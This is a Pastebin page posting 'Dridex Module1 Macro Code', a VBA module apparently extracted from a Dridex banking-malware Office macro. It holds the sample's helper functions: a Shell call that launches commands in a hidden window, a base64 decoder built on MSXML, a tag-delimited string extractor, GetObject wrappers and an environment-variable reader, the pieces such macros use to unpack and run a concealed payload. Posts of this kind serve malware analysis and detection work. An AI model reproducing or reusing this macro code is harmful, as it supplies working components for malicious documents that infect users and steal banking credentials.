Advertisement
Guest User

Dridex Module1 Macro Code

a guest
Apr 8th, 2015
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "Module1"
  2.  
  3. Sub WaitFor(NumOfSeconds As Long)
  4. Dim SngSec As Long
  5. SngSec = Timer + NumOfSeconds
  6. Do While Timer < SngSec
  7. DoEvents
  8. Loop
  9. End Sub
  10. Public Function Great(a As Variant, b)
  11. a = _
  12. Shell(b, 0)
  13. Great = a
  14. End Function
  15.  
  16. Public Function Tort(a, b As String)
  17. Dim krd, lent As Integer
  18. krd = InStr(1, a, "<" + b + ">") + 8
  19. lent = InStr(1, a, "<" + "/" + b + ">") - krd
  20. KLMN = Mid(a, krd, lent)
  21. Tort = KLMN
  22. End Function
  23.  
  24. Public Function Dtgt(a As String)
  25. Quick = GetObject(a)
  26. End Function
  27.  
  28. Public Function Quick(a As String)
  29. Quick = GetObject(a)
  30. End Function
  31.  
  32. Public Function Bad(a As String)
  33. Bad = _
  34. Environ(a)
  35. End Function
  36.  
  37.  
  38. Public Function Decode(ByVal strData As String) As String
  39.     Dim objXML As Object
  40.     Dim objNode As Object
  41.     Set objXML = CreateObject("MSXML2.DOMDocument")
  42.     Set objNode = objXML.createElement("b64")
  43.     objNode.DataType = "bin.base64"
  44.     objNode.Text = strData
  45.     Decode = objNode.nodeTypedValue
  46.     Set objNode = Nothing
  47.     Set objXML = Nothing
  48. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement